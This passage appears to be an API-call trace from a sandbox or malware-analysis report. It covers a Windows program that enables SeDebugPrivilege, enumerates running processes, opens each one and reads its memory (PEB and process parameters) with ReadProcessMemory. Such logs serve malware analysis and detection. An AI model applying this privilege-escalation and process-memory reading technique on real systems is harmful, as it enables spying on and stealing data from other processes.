0x7ffa7bf253a0 [0281.904] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtClose") returned 0x7ffa7bf24f20 [0281.904] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtFsControlFile") returned 0x7ffa7bf25460 [0281.904] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryVolumeInformationFile") returned 0x7ffa7bf25660 [0281.904] malloc (_Size=0x18) returned 0x196ef0d1f20 [0281.904] GetCurrentThread () returned 0xfffffffffffffffe [0281.905] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x670f7d390 | out: TokenHandle=0x670f7d390*=0x464) returned 1 [0281.905] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x670f7d3cc | out: lpLuid=0x670f7d3cc*(LowPart=0x14, HighPart=0)) returned 1 [0281.907] RtlRestoreLastWin32Error () returned 0x670db7000 [0281.907] AdjustTokenPrivileges (in: TokenHandle=0x464, DisableAllPrivileges=0, NewState=0x670f7d3c8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0281.907] GetLastError () returned 0x0 [0281.907] CloseHandle (hObject=0x464) returned 1 [0281.907] malloc (_Size=0x8000) returned 0x196ef0d7d70 [0281.907] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0xc0000004 [0281.909] free (_Block=0x196ef0d7d70) [0281.911] malloc (_Size=0x10000) returned 0x196ef0d7d70 [0281.912] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0xc0000004 [0281.915] free (_Block=0x196ef0d7d70) [0281.915] malloc (_Size=0x18000) returned 0x196ef0d7d70 [0281.916] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0xc0000004 [0281.919] free (_Block=0x196ef0d7d70) [0281.919] malloc (_Size=0x20000) returned 0x196ef0d7d70 [0281.919] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0x0 [0281.921] _ui64tow_s (in: _Value=0x0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0281.927] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="0") returned 1 [0281.929] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x7bea2958, dwBuildNumber=0x7ffa, dwPlatformId=0x6, szCSDVersion="\n") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0281.929] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0281.945] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0281.946] CloseHandle (hObject=0x0) returned 0 [0281.946] _ui64tow_s (in: _Value=0x4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0281.950] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4") returned 1 [0281.951] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0281.951] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0281.967] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0281.967] CloseHandle (hObject=0x0) returned 0 [0281.968] _ui64tow_s (in: _Value=0x134, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="308") returned 0x0 [0281.978] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="308") returned 3 [0281.979] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0281.979] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0281.995] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x134) returned 0x0 [0281.995] CloseHandle (hObject=0x0) returned 0 [0281.996] _ui64tow_s (in: _Value=0x180, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="384") returned 0x0 [0282.000] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="384") returned 3 [0282.001] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.001] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.019] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x180) returned 0x0 [0282.019] CloseHandle (hObject=0x0) returned 0 [0282.020] _ui64tow_s (in: _Value=0x1bc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="444") returned 0x0 [0282.024] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="444") returned 3 [0282.025] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.025] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.042] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1bc) returned 0x0 [0282.042] CloseHandle (hObject=0x0) returned 0 [0282.042] _ui64tow_s (in: _Value=0x1c4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="452") returned 0x0 [0282.047] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="452") returned 3 [0282.048] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.048] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.096] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c4) returned 0x0 [0282.096] CloseHandle (hObject=0x0) returned 0 [0282.096] _ui64tow_s (in: _Value=0x1f8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="504") returned 0x0 [0282.100] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="504") returned 3 [0282.102] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.102] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.121] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1f8) returned 0x464 [0282.121] GetLastError () returned 0x0 [0282.121] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.121] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xff2cd3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.122] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.122] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x12f29b416a0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.122] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x12f29b413b0, lpBuffer=0x670f7c2b0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.125] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.126] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.126] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xff2cd3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.126] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x12f29b40d90, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.137] malloc (_Size=0x1c) returned 0x196ef0fa150 [0282.137] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x12f29b413f2, lpBuffer=0x196ef0fa150, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa150*, lpNumberOfBytesRead=0x0) returned 1 [0282.137] free (_Block=0x196ef0fa150) [0282.138] CloseHandle (hObject=0x464) returned 1 [0282.138] _ui64tow_s (in: _Value=0x210, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0282.144] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="528") returned 3 [0282.145] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.145] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.163] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x0 [0282.164] CloseHandle (hObject=0x0) returned 0 [0282.164] _ui64tow_s (in: _Value=0x218, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="536") returned 0x0 [0282.169] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="536") returned 3 [0282.171] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.171] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.200] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x218) returned 0x464 [0282.200] GetLastError () returned 0x0 [0282.200] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.200] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x70fe507018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.201] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.201] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2210d6032b0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.201] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2210d602f08, lpBuffer=0x670f7c2b0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.202] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.204] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.204] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x70fe507020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.204] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2210d6028f0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.204] malloc (_Size=0x3e) returned 0x196ef0fb450 [0282.204] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2210d602f44, lpBuffer=0x196ef0fb450, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb450*, lpNumberOfBytesRead=0x0) returned 1 [0282.205] free (_Block=0x196ef0fb450) [0282.207] CloseHandle (hObject=0x464) returned 1 [0282.207] _ui64tow_s (in: _Value=0x270, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="624") returned 0x0 [0282.212] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="624") returned 3 [0282.213] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.213] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.230] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x270) returned 0x464 [0282.230] GetLastError () returned 0x0 [0282.231] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.231] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4bd4bbe018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.231] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.231] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x218a64033e0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.231] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x218a6403048, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.233] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.234] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.235] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4bd4bbe020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.235] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x218a6402a30, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.235] malloc (_Size=0x5e) returned 0x196ef0d0370 [0282.235] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x218a6403088, lpBuffer=0x196ef0d0370, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0282.236] free (_Block=0x196ef0d0370) [0282.237] CloseHandle (hObject=0x464) returned 1 [0282.237] _ui64tow_s (in: _Value=0x290, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="656") returned 0x0 [0282.242] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="656") returned 3 [0282.243] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.243] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.267] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x290) returned 0x464 [0282.267] GetLastError () returned 0x0 [0282.269] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.269] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xeb3c623018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.269] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.269] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22b56103450, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.270] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22b561030c8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.271] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.274] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.274] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xeb3c623020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.274] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22b56102ab0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.274] malloc (_Size=0x54) returned 0x196ef1012e0 [0282.274] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22b56103108, lpBuffer=0x196ef1012e0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef1012e0*, lpNumberOfBytesRead=0x0) returned 1 [0282.275] free (_Block=0x196ef1012e0) [0282.276] CloseHandle (hObject=0x464) returned 1 [0282.277] _ui64tow_s (in: _Value=0x328, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="808") returned 0x0 [0282.281] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="808") returned 3 [0282.283] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.283] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.303] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x328) returned 0x464 [0282.303] GetLastError () returned 0x0 [0282.304] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.304] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x68a768d018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.304] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.304] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20fc12119f0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.304] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20fc12116e8, lpBuffer=0x670f7c2b0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.306] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.307] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.307] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x68a768d020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.308] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20fc12110d0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.308] malloc (_Size=0x16) returned 0x196ef0d1fe0 [0282.308] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20fc1211720, lpBuffer=0x196ef0d1fe0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d1fe0*, lpNumberOfBytesRead=0x0) returned 1 [0282.308] free (_Block=0x196ef0d1fe0) [0282.309] CloseHandle (hObject=0x464) returned 1 [0282.310] _ui64tow_s (in: _Value=0x358, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="856") returned 0x0 [0282.317] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="856") returned 3 [0282.318] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, 